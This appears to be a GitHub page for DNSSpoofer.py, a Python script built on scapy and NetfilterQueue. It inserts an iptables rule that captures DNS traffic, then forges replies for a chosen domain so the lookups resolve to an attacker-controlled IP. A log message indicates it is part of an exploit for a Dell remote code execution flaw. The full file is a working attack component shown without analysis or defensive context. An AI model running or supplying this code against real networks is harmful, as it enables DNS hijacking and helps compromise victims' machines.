-
Notifications
You must be signed in to change notification settings - Fork 49
/
DNSSpoofer.py
65 lines (45 loc) · 1.84 KB
/
DNSSpoofer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import atexit
from scapy.all import *
from netfilterqueue import NetfilterQueue
from threading import Thread
monitor_domain = "" # What we want to filter for
server_ip = "" # What we want to redirect to
class DNSSpoofer:
def __init__(self, subdomain, local_ip):
global monitor_domain, server_ip
monitor_domain = str(subdomain)
server_ip = local_ip
self.enable_dns_forwarding()
self.nfqueue = NetfilterQueue()
self.nfqueue.bind(1, packet_handler)
thread = Thread(target=self.start_monitoring, args=(self,))
thread.start()
atexit.register(self.on_shutdown, self)
print("[+] Started DNS Spoofer thread.")
def start_monitoring(self, arg):
self.nfqueue.run()
def enable_dns_forwarding(self):
os.system("iptables -t raw -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
print("[+] DNS Forwarding enabled.")
def disable_dns_forwarding(self):
os.system("iptables -t raw -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1")
print("[+] DNS Forwarding disabled.")
def on_shutdown(self, arg):
self.disable_dns_forwarding()
def generate_dns_response(packet):
global server_ip
ip = IP(src=packet.dst, dst=packet.src)
udp = UDP(sport=packet[UDP].dport, dport=packet[UDP].sport)
dnsrr = DNSRR(rrname=packet[DNSQR].qname, rdata=server_ip)
dns = DNS(id=packet[DNS].id, qr=1, qd=packet[DNS].qd, an=dnsrr)
return ip / udp / dns
def packet_handler(packet):
global monitor_domain
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSQR):
if monitor_domain in str(scapy_packet[DNS].qd.qname):
print("[+] Dell RCE DNS request received.")
send(generate_dns_response(scapy_packet), verbose=False)
return
packet.accept()